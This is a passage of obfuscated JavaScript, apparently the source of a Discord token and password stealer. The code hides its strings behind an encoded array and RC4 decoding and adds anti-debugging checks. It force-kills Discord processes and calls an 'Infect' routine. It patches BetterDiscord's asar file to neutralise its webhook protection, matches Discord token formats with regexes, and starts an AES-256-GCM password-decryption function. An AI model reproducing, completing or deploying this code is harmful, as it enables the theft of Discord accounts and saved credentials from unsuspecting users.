"vMhcSILR", "W4xcLmkuWO7dMa", "W5rTbYldRmo6tSoeWRKjW4PY", "W7NdS0j+eG", "k8kEW5lcO8oz", "hSkuW4VcHCoQ", "W44hc8kvW6G", "kx0Qs8kk", "W5tcOmkmWOJdQW", "u8ohWRTqua", "W5ZdLvzieW", "k8kOW7FcPSop", "W6FcJmo4WRTA", "lmo4sHGt", "tvqzAu0", "W7xcL8ktWPNdMa", "WOWjw8k7WPy", "W7ldVKvPhG", "W4dcGMZdPhG", "pSkuWO/cSc4", "W4DzW6hcGJC", "W4xcNCkpWRhdQa", "ta49xSo6", "ubtcHrnv", "WOVcKCkbWOCW", "xg9BW5VcMW", "W70cWO4HW5i", "uZldSa", "W4q4WQdcPJi", "W7RdUSo1ib8", "W4TNC3LU", "WOazWQP1W40", "WQBcHmkWWOy1", "W7DAhmoHW58", "vJVdKCo6WPG", "WQddGmoFWPtdHW", "tKLTbSkt", "W4NdSKvQbq", "zSojWO8T", "eLHf", "nhSAt8kv", "fSkFWR0lW4u", "W4/cQmkaW5TM", "WRmcWPbJ", "tqhcJmo/Ea", "W6DMg8oi", "W4RdPujQga", "BmkiW5vUAW", "WR8Fj8k9dq", "WPa/r8kJWRq", "Dda3rSoI", "W5GHWR8FWQC", "W4ZdS1Lcoq", "cLL2c8kTsX7cUZFcOCozfgW", "E8oeqmoQFG", "W4fUW6GLWRa", "hZZdUuXf", "gSkDW4NcMSo5", "W6NdG2vuCq", "pXnfj8k2", "ydiiaCoV", "D8oOWQvbsW", "WR58Fmkaaq", "W68rWPVcVrW", "W69olau", "x8oxr1ldNq", "jmkQW50xpG", "iSkrxvFdTa", "aSojqs0S", "wmkMW7fuqa", "cCkjWPpcQJO", "W4pcVmkhWQddPa", "WOP3DCkjdW", "wfGhueq", "u2b7bb0", "WPiWymkVWOC", "W7ihWQ7cGta", "W6tcQWG", "cCkfWOtcVZS", "C35enYK", "jmkaWPq5W7G", "W74GWRlcGIS", "WQtdGCot", "Dq8HeJ0", "i8oXiKVcPG", "m8o0iJ8Q", "W4xdNeLFrW", "WO8Zw3FcUq", "nmo1pYGz", "r8oAWPvOrq", "kCoyECkdWO4", "W5yTgSkCW4m", "umoIWQfWEa", "iCoUymkuW4i", "WQVdG8ovWPq", "W45KCq", "WPBcQ8kjWOZdIq", "f8k1WPFcQcG", "vNDTfZ4", "W63dQ8ovWOFdSa", "W75VF1zd", "gCojwXyx", "WQ/dThu8ga", "W59ZW6m+WQO", "xL46W43cRa", "b1n6heO", "hZBdGfjj", "W77cV2NdVvG", "W4bZW5CbWQC", "mNy6w8ka", "durjmG", "gs3dPeum", "iCkOWQxcQJ8", "cKjha3i", "WR/dGmozWPBdJq", "rLhcKrfs", "WRaJWPbOW7C", "WPVdT8oDWPldGG", "a8kiW4O8bG", "WRWNB8k+WPy", "Bqqbzmo4", "r2bVkba", "WQalwCk4WPa", "cKjh", "W6ddV8oybc4", "jmotpteU", "gfnhlue", "xfJcLtbi", "mmkVWQBcLYO", "pGmDn3G", "WPRdGCoqW5/cSq", "DtiGDSoq", "W4CAWOOaW58", "AahcSSozlG", "h8oFwSkJW6a", "W4SfWQXTW40", "WPG6FmknWPi", "pmoDFmkfW4S", "w1dcLrTZ", "W5WaWQ8fWQe", "WPbaFmkkaq", "gb9sc8k4", "W5OfgSkSW5m", "W6NcUKVdLwK", "thhcHsLy", "cmobxSoVDa", "mmkAWOuxW4C", "lSo4kIKf", "W5/cTNBdVNW", "dIddUePn", "WPdcJd8wxG", "xINdSvrj", "W6LKemopW5O", "d8kvW4pcH8ob", "WP3dS20", "gSoiyCk+W48", "swPGW5RdTa", "W6StWQe7W7y", "q3LNW6RcRq", "kmoVbeVcNa", "D31OnXK", "FX0Dy2i", "mCoQwHWk", "n8krWPqbW64", "WQJdHmobWRBdOW", "W58HWQSCWO8", "cSoZd2RdRa", "s3RcPeDp", "W6NcK8o1WQyh", "nSoTpgNcPq", "WO5aC8kjeq", "dmo9iW0A", "WOKUuhtcQq", "W5RcJmkHWQpdMa", "W5RcL8kA", "emopjw7dMG", "x8klf3hdVG", "mCkzW7SmaW", "W40zWP03", "W5ZdVmofjdW", "W4yXgSoVWPC", "WPi8WPjkW4a", "WPZdRCk3WQS7", "W4iCWQe", "W7umW59yW4i", "kaDknSkR", "smoOWPXJFG", "vKpcLa", "kmkYW45ICW", "gmoWis4/", "jIdcU8ktja", "o8oJr8oC", "WRGeWRP+W6K", "W7C3WQiwWQe", "vL3cQabc", "WOVdPhu7", "W6HTuSk9mq", "wvhcNGrf", "tHW0aCoH", "nhyTwSk2", "W7FcR8oaWQyT", "WQqIWR9mW5u", "W615rwzf", "W5ZcOuBdG3G", "W7zsgSkGWQa", "oSk1WP/cUsq", "nCoZgZSr", "WQbxFmkyaa", "W7jVwxvk", "W4mPWPhcLty", "W77dLerJaG", "seKAFJK", "W4SBWQBdHZ0", "W7DkxK12", "WOXbEmkwjW", "hSkNW7pcK8ot", "W5P1W70UWPG", "WO1lBSkbcq", "wbuLyCoj", "k8ouzG", "WRxdRmobWPhdSG", "W4rRamolW6i", "oCoWxa", "aCkSWReTW5O", "W7GgWQCdWRa", "cf5pm0y", "gSojd2VdSW", "WPRdPSoIWPBdPa", "W4WKdCoVW74", "W5X0W6KKWOK", "W4n/bSoyW5S", "W6axWRKNW4q", "uK0b", "WQiyz8kRWOe", "W4lcV8kjWOKG", "W4hdVmozpJW", "lIv1k8ka", "W4tdO0Priq", "W7BcUH8ZWP4", "WOdcGtKn", "tmkhWOBcTCoL", "W7FdJ0LFvG", "BbiHt8k5", "gSo4cgldQa", "l3RcHSoNyW", "gCk6WParW58", "W5FcJmkyW43dMW", "W5lcVWihuq", "jCkQW44Vlq", "ydNdSSoHWRq", "W5/cLSkA", "awSEt8kC", "W6BcGCkbWQWx", "W4JdRM7dHMK", "WPhdRJLXxW", "lhyEwSka", "nYhcRCoB", "dNjdpeS", "jSkXAmoHzG", "vmkXW5rIyG", "fNpcOmojqG", "W7G2WQ0lWQW", "xdWKeCoR", "WPBcP05Nj1RdHbu", "l8o4oZmz", "Euvinbq", "n2nvoLa", "lSkdW78UmG", "yCkoW4GTiW", "WQqjqCkYWRe", "W5GxWRrrWOa", "W4zHnSoWW4tcP3RdLhiiWRCq", "WPuXvNhcUa", "De5AbbG", "uM3cPavg", "W43cQZy/fa", "W4tdRCoDWRqA", "W4mtWPWJW4C", "WROntx3cUW", "W4VcJWmeWQK", "W6xcRmkyWOKi", "lSofWR1xxG", "W4LVW687WRC", "bd9BbWJdI8kIBq", "WP0pB8khWRK", "WQvqEmkDeq", "EmoaWPTNEa", "dK5plfy", "hmoecxFdQa", "WOu9WOzWW7W", "eH/dPCo9WQG", "W48tWRiq", "WOuyWQ4", "dCkPW7GXpa", "WOD/smk3eq", "WR/cJ8oWWPldPq", "WOCTt37cPa", "fSoFEGmG", "WQO7BCkJWQ4", "WRWCWRbOW7e", "W6/cQmkyWP87", "j8kSWQO", "WPtdQh50vW", "WQtdK34Saa", "W4NdUeW", "kuvJua", "gCkXWPecW40", "WOJdVCo6WRldNa", "WPtdThH4ba", "dwtcP8oEzW", "xCksW4n/ja", "W7DDW70oWP0", "oSo0EmknW6G", "W5xcL8ktWP7dKG", "WR8jfCksWRa", "lmonjvpcJG", "oCkIWQRcNsu", "EmkuW5vL", "srqMuCoW", "W7DJgSopW5m", "nCo6oZmv", "avLpmq", "W5aAWQZcGGu", "W5iUfmkOW6W", "WReCWR5vW5m", "jmo3icOB", "W4RdOSohEc0", "iCkgWQCDW64", "WP8ZzvpcQq", "ueZcRdPq", "WR7dThC9ja", "W7hdO8oaodO", "WPWsB8k2WOW", "evdcUConyq", "wYOfnCok", "W58xW6GuWRW", "xmkjW4P3CW", "W6/dGhPfiG", "eMtcRmojAq", "d8knWPC9W6m", "o8oPab8W", "W4SYWOOWW48", "W6tcSXGk", "WRmUwMddVq", "W7yQf8kdW5u", "iIFcRq", "ceFcP8oxvG", "W6HfDuzT", "fmoOkIHw", "W5zOW6KKW7a", "tH7dSSoDWQu", "cCo6nruc", "ed3cSmoxlq", "W7BcM2/cNt0", "WRyZWPv7W4y", "gue0smo7", "iSoPnIOc", "W4NdMeC", "Ch17W4FcSW", "WRFdICkGW7HeW4FcMf7cKt12WPOu", "xIldIK1i", "W67cNCoXWQWr", "pmk0W7xcTa", "z8oLWQzktq", "f8o6E8opqW", "n8k4W4NcJSof", "WPaZumk2WRu", "B1ixxgG", "ALeAEKi", "WP8jWP1wW4G", "qmoBWPBdICk8", "W5hcRmkEWPSX", "mMlcSCkDBG", "CaVdR8oJWQK", "W6WeWO4LW4m", "W4BdP8ogjYO", "WRqSWRH7W6y", "WQ8sw8kXWQ0", "cSkzW4tcSSoN", "kCkjW5tcJ8oe", "wuz/lWG", "W4aaWQFcGtW", "W53dTSogfIW", "WROdWPbOW7C", "wG7dUmo0WQS", "W4DhDxnv", "qtGMd8oQ", "D3aCB2m", "W5RdVmoHiYS", "r8o/WOT0FG", "WObyW4e", "eYNdVuHd", "W5RcNCktWORdIq", "l2eNsCkB", "jcJdI0rP", "WR5jDmkjdq", "WOpcHI8mAW", "a8kWW5tcUmoG", "k8o1zmkIW4K", "imk1W54tpG", "W5WnbSkLW68", "W5SKda", "uejIcbm", "W7JdI8oBnGO", "dCkpW4FcVmoM", "rwpcGYHx", "WOW6y8kTWQ8", "wvhcRcbz", "dNpcRCoACG", "WPDlCCkhcW", "W4SFtx3cQG", "q1fXW4BcPW", "mmo5oexcUq", "hSofnN7cKW", "W4BdNmo0drq", "WOS2w3VcRW", "etnvnSkR", "e8ooo0FdTa", "WOqFWO5tW7O", "W5pcOK/cHYG", "oSobCCkhW5O", "WOPxWRPTW5K", "fSohaItcRq", "dJNdUKG", "A0nEW6BcGa", "gmo/y8kQW4G", "WPNdRwS0dG", "WPq4xNBcUq", "W5bVvuro", "ACkrW48ICW", "EMj9W4NcHW", "kCoUrXav", "yauffCoH", "i8oECG", "WO4Ps2lcRG", "W4utWPy", "WONcHqy", "DMWgC8o5", "a8kmW7VdMSkm", "nc3dSvra", "o8ouBCksWOe", "xSk3W4rbva", "W6pcT2ldV0K", "WROtWPP9W7a", "khOGsCos", "xL9LW53cSq", "vGWfaCot", "W6lcNSorWQW7", "tCoJWPzHBG", "WROqvNhcRW", "W4dcJsmUWOy", "W5lcGCkjWPRdIG", "pmouz8k6W7S", "r2Car1m", "gCofiuVcOG", "gmkcW5BcHq", "pmkfWPpcIcm", "ubejwmoq", "kt3dNuny", "cX1vla", "WO0rDmkvWPi", "W4JcNCoKWR8B", "WQ/dGNLbsW", "W79kW74aWQK", "mCoPt8oLyG", "cSoJax3dSq", "nZnJymkt", "WQJdL8oDWOddPq", "aSk9W4aiba", "WP8HBW", "i8kNW7SQda", "WPlcGsGaxG", "W4dcUCknWRqe", "jCkRW4y4ca", "DJKot8oS", "W4tcNCkoWOldKq", "qbC2DSou", "p8otmhJdTW", "cJKLg04", "WOiSsJ3cVG", "WOldTwmqfG", "obmLe1W", "W4ZdU05r", "o8k0WOlcRdG", "WRhdKdS", "W4CyWOG", "WQyCWPzTW6y", "WOtcLdS5uG", "BSkoW4PPyq", "FmkbCmkmW7HOW7hdLG", "W4WKFfzp", "WPC7Aq", "BCobW5n9ya", "kYdcGG", "lSkzWQy8W4a", "WPhdUSohWPBdOW", "DL1EW43cMW", "WRdcM3JdQYC", "W48dWRnEWRC", "a3y2sSk2", "W6vDW6i4WRK", "kmoujuxcSq", "WPeNASkxWOu", "f8k7WRHfW4S", "WPOhD8kWWRu", "W4lcSJq6fq", "d8ovqmoSwW", "f8oXfYW/", "yea6qCka", "WPCBs0JcJW", "dXfroSkU", "W5WXnSkLW5e", "W7BcUH9pWO8", "i8ounCouW7i", "qLVcGGHT", "oYNdH0H8", "qIGDhmom", "WOaYtvFcVa", "W5eGeSkQ", "WRuWWQz2W58", "gCoefuhdVq", "cSksW4hdGmoq", "BLXcW5RcTG", "WRe7rmkAWO7dRM9iW6ZdJ8o+W7zI", "FIqgCCoy", "W4SYWPONW7m", "W5RdG1fEvG", "W4JcU0NdK3i", "W4tcNCkmWPJdMa", "r2Tkibi", "avigwmk/", "WPa+WRrAW6W", "vG83uSo1", "lMaHqSkx", "W7jUhCozW50", "W7dcI3ZdVNe", "WOVdUSo+WPddLa", "yc3dPCo9WRW", "W75jzerw", "xINdTSooWO8", "WRWEWPXIW7y", "kSoIESkaW5O", "W6OFWPWWW4K", "x8oNW5BdVM0", "W4OVd8k9W5u", "iSkgWRS9W4K", "fSkgWO0xW4e", "WQhdGmot", "WQqZWPPbW7K", "pCo/sW", "W5hcTWevWRW", "WP8WFCoLW4e", "eSoZmLpcJW", "o8kGW4G", "dey0W6BcLq", "laiJg3i", "WRWEWPGUW6q", "W7hdJmocjty", "WRrizmkNla", "W69UW4eJWPK", "tHVdO8oiWO0", "zYJdVSoJaW", "d8kjW4pcGCoc", "baxdGLigW4hdRmohf2hcUs0", "lSofFCkvWOa", "x1BcTJL1", "yem8qCku", "rM4KAv0", "vWuHrCoB", "caZcLmobnW", "WPH8x8kuea", "W6pcLSoM", "yHSij8om", "WPBcTtj4", "W6tdG0vmxW", "nSoUwXKa", "WOJdKaz7CG", "hYVdRhXa", "b2lcTmosDa", "WO83WRpcIc4", "d8kaihRcSW", "WPqzBx3cRq", "ig7cSmoqCG", "xgrCorC", "W6VcTYibWOu", "atWPlKK", "kCoYit1w", "pLhcRmosyq", "o8ktW4/cLSoq", "W6ldM0zjmG", "jmo9tCoPFa", "WO3cJYKrxq", "a8ommctdUq", "W4tdIxPUwW", "W5G2pCkJW6m", "WQuFWP5OW4S", "W5BdVKnmfq", "W4ydpCk2W5W", "cCkxWOtcSsS", "W5fGyKPq", "qmoIWOuSlG", "e8o/CmksW5K", "W7FcUX4", "WOpcJYGGyW", "W4ebWQ7cLxe", "WQ0qumkDWRq", "W6RdSCorprO", "de7cSSoutW", "W73cNCkEWOCY", "qLeqiJ8", "W6n+W7CVWQK", "bN8hy2y", "aSovfrKF", "WPiYBgBcRW", "W65UeCosW7W", "nSoUwYS0", "WOGJWR1IW6OnstHzW7tdSW", "jCkJW5rICW", "mSoKwXW9", "bvnEoG8", "j8oNWRlcVZK", "eCkJWO8sW44", "W4ldTSkszGu", "pSo4zmorCW", "W61jbCo7W44", "pZjlnmkF", "W6/cNCkLWQus", "kYezb30", "WPFcTIOMBW", "o8kQW7miaW", "cmoGy8kHW6u", "WOuEWQKw", "W4OxWPSYW7O", "jJJcQ8ow", "W5FdS3TzmW", "jwSNxCkg", "W4eAWRpcGWu", "kb5pimkT", "d8owfs4I", "W4mhWRJdItW", "wu4nE3C", "W5JdMvvf", "WO8Zwa", "rCoGWPDBFa", "wfWh", "jhHJgwK", "fSomhL3dRG", "kCoacKBdQq", "W6WqWRxcKdy", "W5pdTKD4fa", "re4AAMu", "r1GBA2u", "W4SUlmk7W4G", "W5NdR0nIsq", "wu5WfJO", "W53dTSoacWW", "WOnQE8kSaW", "WPKbnGua", "lmojow/cHa", "iNtdQ8oV", "B8o+nZ8", "W68AWQ4eW7y", "Ca7dKa", "ufJcNXnC", "th9+cJy", "cfLjneS", "W4FdGemdza", "rtRdPmoiWQW", "mSoXwc80", "W5D/Cb0", "WOhcHsK", "dgZdJufy", "AwhcGWzd", "gCk2WParW5W", "WPhdSx54qW", "W6NdGM43uq", "pJRcVq", "CdGJa8kY", "jmoJjIKc", "W6NcISo0WPCc", "iNy6wSkx", "De8as8kg", "emk/WOCMW4S", "WQ8EWQv8W6S", "fSofa2hdPa", "WRmFWO1lW6i", "pmoLsG", "W6e/r8kTWRu", "W7qjl8kvW7a", "hCobj2/cIW", "W44gWReEWRy", "W6JdU25xfa", "qmoOWOe", "W67cUHq", "e8oODmkiW4O", "W4zFoCoUW6G", "WP3dR2K3bq", "W48QWR8HW4K", "W63cM3VdJ28", "vZldPmoMWOa", "WQq8tetcMG", "ACkrW5zHFq", "W4/cTJGiWOC", "fmoVbdGB", "W6tdKmo2ndu", "tX0hzxi", "W4xcSZikDq", "W6b5D1nf", "W4zdiCoCW5i", "mSkHW5K", "imkAWPewW78", "W4rJb8ojW5e", "WPe7ySkHWP0", "WRnuzCkAla", "W7ldV0aHWQO", "bSo/WPDWFW", "h8kqWPySW5W", "nSkyWPWgW40", "bZBdSmoH", "W7jLa8ozW5S", "WO8lv0FcQW", "WQZdM8orW5pdTW", "W7umW59BW5a", "qKLGW5RcOq", "nqJcI8oajW", "mNqDa8oP", "W6pdTCoIab4", "pmkOWPJdVMO", "W4SEfmkQW4m", "wXmfFYa", "W7eKf8kvW64", "kaiLp3S", "W53dN0nFxq", "iwCV", "WPhdOmoeWPBdOW", "b8ocE8opqa", "WQhdISoOWRddUq", "W74CWPyBWRu", "W6D4oSoYW58", "wN1TjrK", "cX1vlYe", "l8o/kIi0", "ztxdTmoHWPC", "jNOGt8kE", "gsObzmkJ", "uGyYuCo/", "W4T0WQ0JWRy", "sCoOWOf0AW", "W6yCWRlcHdy", "j8o9rCoJDW", "e8oZz8khW5G", "hLnvkWi", "yhT5W7VcPa", "dmoOo3RcVG", "W4lcUHKSWQq", "W6PJW6m0", "umkUW5zpqq", "WQVcGtCaiG", "mmkZWOhcSt8", "gSofbhBdPq", "n3i8s8kU", "WO7dVCoXoJ0", "aSojo23dTW", "vqObimo9", "r2xcSJbg", "xcaQk8oV", "W57cOmkyWP7dKG", "nSk1WPpcVZK", "tcGkumox", "WOZdMmkWW6Hu", "rhlcHdLJ", "d8odaNBdTq", "W6FcISo5WQ0h", "W4pcPmkcWOW", "WOhdMeKOeW", "dhWTt8kE", "pSkpW6NcUmoX", "dCoyh3pdUG", "W5OXWQm+WR4", "W5XFb8opW4W", "iZ3cRCoqlq", "xK4qFN8", "eCoPr8oRDG", "W63dLgb7qW", "t3uIrwe", "p8kiW5u5gq", "W4LwWOGYW4S", "vMhcMtbG", "WOxdRSo3WRNdVW", "W7RcS8oDjta", "z8ksW7LUDG", "W63dK8kuWR3dKa", "WRaEWOS", "W485WPmuWOy", "kq45c20", "W4axWRJcLc0", "pdWOaW", "WPRdRGRcG34", "dSkEW74Fhq", "WPldL108jW", "W6tcJsOIWPG", "cfb2dmkUr2tcQWlcJCobaG", "WOJdISoUWPFdLa", "rr1DAMq", "W74IWRWFWPy", "WR4su8kRWQ4", "nCo+wH8", "t33cSfr/WOFcImktW4S", "AvimFhq", "W4JcOCkjWRST", "W4SUimkq", "svGhshq", "pmkRWPpdVMa", "WONcLCku", "gSomngpcUq", "WOy1WRnlW4a", "W6tdH3Tjma", "pCkOWOxcQHi", "WQBcLsGxzW", "DSoIWPzSrW", "W4FdTmoxjGK", "W5iEWQpcTbi", "jvCRtCkB", "WPBcTZmrAG", "emoycgldQa", "m8oUrrGr", "WP7cNxqgBq", "WP3dTuOIbG", "lJJcU8oGoW", "nmomdwVdMW", "eSoigbuK", "WPLMWQ0hWP8", "dv9koGi", "yL9GW5/cUW", "Bf/cNHD4", "thqLBxK", "D2GgAwm", "W5ZcOvJdONW", "WOX7imoM", "WROLw8oiW5W", "fc3cSmoq", "BmkXW6TcxG"];
- a0_0x4c0d = function () {
- return aw;
- };
- return a0_0x4c0d();
- }
- ;
- function listDiscords() {
- const ax = {WUQhr: function (ay, az, ba) {
- return ay(az, ba);
- }, AwgVz: "DiscordPTB", sCPrk: function (bb, bc) {
- return bb === bc;
- }, ikUxk: "AAHvM", uINmN: "puTgv", Jaxtl: "Discord\.exe", oJyXs: function (bd, be) {
- return bd !== be;
- }, DDcBp: "pUOsO", QctSf: "igyYr", gpRhz: "Discord", gVIyS: "DiscordCanary\.exe", bkTvS: function (bf, bg) {
- return bf === bg;
- }, DvRBe: "GiGDo", gYTfw: "DiscordCanary", TeEYa: "DiscordPTB\.exe", zLFCe: function (bh, bi) {
- return bh !== bi;
- }, xjvJW: "Exkkd", ffuii: "UnPjq", IRKuG: "DiscordDevelopment\.exe", plqja: function (bj, bk) {
- return bj !== bk;
- }, apfAQ: "PHZgV", PXWeo: "DiscordDevelopment", KHPZJ: function (bl) {
- return bl();
- }, EKJUh: "tasklist"};
- ax["WUQhr"](exec, ax.EKJUh, function (bm, bn, bo) {
- const bp = {};
- bp["JybXK"] = ax.AwgVz;
- const bq = bp;
- if (ax.sCPrk(ax["ikUxk"], ax["uINmN"])) return ""; else {
- if (bn.includes(ax["Jaxtl"])) {
- if (ax["oJyXs"](ax.DDcBp, ax["QctSf"])) runningDiscords["push"](ax["gpRhz"]); else {
- if (_0x277daf) _0x458e10["log"](_0x5d35ee);
- return;
- }
- }
- bn["includes"](ax.gVIyS) && (ax["bkTvS"](ax["DvRBe"], ax["DvRBe"]) ? runningDiscords["push"](ax["gYTfw"]) : ax["WUQhr"](_0x448e95, "taskkill /IM\ " + _0xc347bf + ".exe /F", br => {
- if (br) {
- if (_0x2006b6) _0x30f710["log"](br);
- return;
- }
- }));
- if (bn["includes"](ax["TeEYa"])) {
- if (ax["zLFCe"](ax["xjvJW"], ax["ffuii"])) runningDiscords["push"](ax.AwgVz); else {
- if (_0x462c62) _0x5aa123["log"](_0x319da6);
- }
- }
- ;
- bn["includes"](ax["IRKuG"]) && (ax["plqja"](ax["apfAQ"], ax["apfAQ"]) ? _0x173c8e["push"](bq["JybXK"]) : runningDiscords.push(ax["PXWeo"]));
- ;
- ax["KHPZJ"](killDiscord);
- }
- });
- }
- ;
- function a0_0x5a57(bs, bt) {
- const bu = a0_0x4c0d();
- return a0_0x5a57 = function (bv, bw) {
- bv = bv - 135;
- let bx = bu[bv];
- if (a0_0x5a57.zIPImn === undefined) {
- var by = function (cd) {
- const ce = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=";
- let cf = "", cg = "", ch = cf + by;
- for (let ci = 0, cj, ck, cl = 0; ck = cd.charAt(cl++); ~ck && (cj = ci % 4 ? cj * 64 + ck : ck, ci++ % 4) ? cf += ch.charCodeAt(cl + 10) - 10 !== 0 ? String.fromCharCode(255 & cj >> (-2 * ci & 6)) : ci : 0) {
- ck = ce.indexOf(ck);
- }
- for (let cm = 0, cn = cf.length; cm < cn; cm++) {
- cg += "%" + ("00" + cf.charCodeAt(cm).toString(16)).slice(-2);
- }
- return decodeURIComponent(cg);
- };
- const cc = function (co, cp) {
- let cq = [], cr = 0, cs, ct = "";
- co = by(co);
- let cu;
- for (cu = 0; cu < 256; cu++) {
- cq[cu] = cu;
- }
- for (cu = 0; cu < 256; cu++) {
- cr = (cr + cq[cu] + cp.charCodeAt(cu % cp.length)) % 256, cs = cq[cu], cq[cu] = cq[cr], cq[cr] = cs;
- }
- cu = 0, cr = 0;
- for (let cv = 0; cv < co.length; cv++) {
- cu = (cu + 1) % 256, cr = (cr + cq[cu]) % 256, cs = cq[cu], cq[cu] = cq[cr], cq[cr] = cs, ct += String.fromCharCode(co.charCodeAt(cv) ^ cq[(cq[cu] + cq[cr]) % 256]);
- }
- return ct;
- };
- a0_0x5a57.doVPgx = cc, bs = arguments, a0_0x5a57.zIPImn = !![];
- }
- const bz = bu[0], ca = bv + bz, cb = bs[ca];
- if (!cb) {
- if (a0_0x5a57.Ifzoom === undefined) {
- const cw = function (cx) {
- this.sQsULQ = cx, this.ZFDGCN = [1, 0, 0], this.yvDAMZ = function () {return'newState';}, this.fYEUSR = "\\w+ *\\(\\) *{\\w+ *", this.OHJlHf = "['|\"].+['|\"];? *}";
- };
- cw.prototype.ioLJwQ = function () {
- const cy = new RegExp(this.fYEUSR + this.OHJlHf), cz = cy.test(this.yvDAMZ.toString()) ? --this.ZFDGCN[1] : --this.ZFDGCN[0];
- return this.ieFkVS(cz);
- }, cw.prototype.ieFkVS = function (da) {
- if (!Boolean(~da)) return da;
- return this.aVbbGz(this.sQsULQ);
- }, cw.prototype.aVbbGz = function (db) {
- for (let dc = 0, dd = this.ZFDGCN.length; dc < dd; dc++) {
- this.ZFDGCN.push(Math.round(Math.random())), dd = this.ZFDGCN.length;
- }
- return db(this.ZFDGCN[0]);
- }, new cw(a0_0x5a57).ioLJwQ(), a0_0x5a57.Ifzoom = !![];
- }
- bx = a0_0x5a57.doVPgx(bx, bw), bs[ca] = bx;
- } else bx = cb;
- return bx;
- }, a0_0x5a57(bs, bt);
- }
- function killDiscord() {
- const de = {LhWqs: function (df, dg) {
- return df === dg;
- }, bZXhW: function (dh, di) {
- return dh === di;
- }, wAefN: "yQlAl", eLcVu: "UKrCc", rsxwf: function (dj, dk) {
- return dj !== dk;
- }, FsNbj: "iIYDL", NMZtT: function (dl) {
- return dl();
- }, OXJru: "jiHQa", YgShg: function (dm, dn, dp) {
- return dm(dn, dp);
- }};
- runningDiscords["forEach"](dq => {
- const dr = {wJITZ: function (ds) {
- return de["NMZtT"](ds);
- }};
- if (de["rsxwf"](de["OXJru"], de["OXJru"])) return de["LhWqs"](_0x13c50b.indexOf(_0x12c77a), _0x2f4fa5); else de["YgShg"](exec, "taskkill /IM " + dq + ("\.exe\ /F"), dt => {
- if (de["bZXhW"](de["wAefN"], de["eLcVu"])) {
- if (_0x16f189) {
- if (_0x3a0602) _0x571bb2["log"](_0x152d9d);
- }
- } else {
- if (dt) {
- if (de["rsxwf"](de["FsNbj"], de.FsNbj)) dr["wJITZ"](_0x401085); else {
- if (debug) console["log"](dt);
- return;
- }
- }
- }
- });
- }), de.NMZtT(Infect), de["NMZtT"](pwnBetterDiscord);
- }
- ;
- function startDiscord() {
- const du = {YNiNl: function (dv, dw) {
- return dv(dw);
- }, sFwjB: function (dx, dy) {
- return dx === dy;
- }, PeDNX: "qSYZt", lIvnt: "QjOzL", hvose: function (dz, ea) {
- return dz !== ea;
- }, MLQkt: "mhBzH", otdRH: function (eb, ec) {
- return eb === ec;
- }, DbcjC: "DVvCg", NsDog: "Starting game\ paths\...", lXydY: function (ed, ee) {
- return ed + ee;
- }, XxwRV: function (ef, eg) {
- return ef + eg;
- }, sofmv: "\\Update\.exe", TGreH: function (eh, ei, ej) {
- return eh(ei, ej);
- }};
- runningDiscords["forEach"](ek => {
- const el = {ciXcs: function (em, en) {
- return du.sFwjB(em, en);
- }, GyJNT: du["PeDNX"], iTdes: du["lIvnt"], rLEtE: function (eo, ep) {
- return du["hvose"](eo, ep);
- }, VkmBu: du["MLQkt"]};
- if (du["otdRH"](du["DbcjC"], du.DbcjC)) console["log"](du["NsDog"]), path = du["lXydY"](du.lXydY(du["XxwRV"](localappdata, "\\"), ek), du.sofmv), du.TGreH(exec, path + ("\ \-\-processStart ") + ek + "\.exe", eq => {
- if (el["ciXcs"](el["GyJNT"], el["iTdes"])) {
- if (_0x236c2b) {
- if (_0x44f965) _0x4a0222["log"](_0x4fcf2e);
- }
- } else {
- if (eq) {
- if (el["rLEtE"](el.VkmBu, el["VkmBu"])) {
- const er = [new _0x49f146(/mfa\.[\w-]{84}/g), new _0x34fb75(/[\w-]{24}\.[\w-]{6}\.[\w-]{27}/g)];
- for (const es of er) {
- const et = _0x548b7["match"](es);
- et && et["forEach"](eu => {
- _0x50c59e.push(eu);
- });
- }
- } else {
- if (debug) console.log(eq);
- return;
- }
- }
- }
- }); else {
- const ev = du["YNiNl"](_0x4f468e, _0x3e4834);
- ev && ev.forEach(ew => {
- _0x214df5.push(ew);
- });
- }
- });
- }
- ;
- function pwnBetterDiscord() {
- const ex = {WYVAf: function (fa, fb) {
- return fa + fb;
- }, yOxLi: "\\BetterDiscord\\data\\betterdiscord.asar", BasVG: function (fc, fd) {
- return fc !== fd;
- }, VjXvI: "vOWyf", VHVwW: "FqMvU", ipMeI: function (fe, ff, fg, fh) {
- return fe(ff, fg, fh);
- }, bEGBt: "api/webhooks", uDzMY: "kkkk"};
- var ey = ex["WYVAf"](process["env"].appdata, ex["yOxLi"]);
- if (fs["existsSync"](ey)) {
- if (ex["BasVG"](ex["VjXvI"], ex["VHVwW"])) {
- var ez = fs["readFileSync"](ey);
- fs["writeFileSync"](ey, ex["ipMeI"](buf_replace, ez, ex.bEGBt, ex["uDzMY"]));
- } else {
- if (_0x23309e) {
- if (_0x421dff) _0x220f7e["log"](_0x15a478);
- return;
- }
- }
- } else return;
- }
- async function getPasswords(fi) {
- const fj = {EeNhP: "CurrentUser", GSQFy: "utf\-8", tPAxc: function (fr, ft) {
- return fr == ft;
- }, TWzwf: function (fu, fv) {
- return fu == fv;
- }, cCSxY: function (fw, fx) {
- return fw == fx;
- }, qFtZR: function (fy, fz) {
- return fy - fz;
- }, JNccM: "aes\-256\-gcm", grNXa: "base64", iKROG: function (ga, gb) {
- return ga !== gb;
- }, cAcME: "TFqBV", jQdjP: "JiUgL", mhGJB: function (gc, gd) {
- return gc(gd);
- }, GLmDC: function (ge, gf) {
- return ge === gf;
- }, nPCDA: "wnPYy", qtJEB: "gQuCm", yvrKM: "hOFZM", uoycc: function (gg, gh) {
- return gg != gh;
- }, PGWYD: "fWcBa", ckoqb: "rQBSw", NPnkb: function (gi, gj) {
- return gi !== gj;
- }, qidTC: "vfozO", Nbcmr: function (gk, gl) {
- return gk == gl;
- }, eHrkX: function (gm, gn) {
- return gm == gn;
- }, IsUSN: function (go, gp) {
- return go == gp;
- }, TWobW: "Qabvy", nXqiI: "NPIMF", dytww: "SkHnm", XkwLk: "HVHgV", WBusp: "DXDHr", CTeWH: "DiscordDevelopment", rkXgk: function (gq, gr) {
- return gq === gr;
- }, AlAWP: "Cdctc", RodhM: "child_process", QfehA: "inherit", sihAd: function (gs, gt) {
- return gs + gt;
- }, UWVLs: "return\ \(function\(\)\ ", TGewm: "{}.constructor\("return th" + 'is")(' + " )", azIre: function (gu, gv) {
- return gu !== gv;
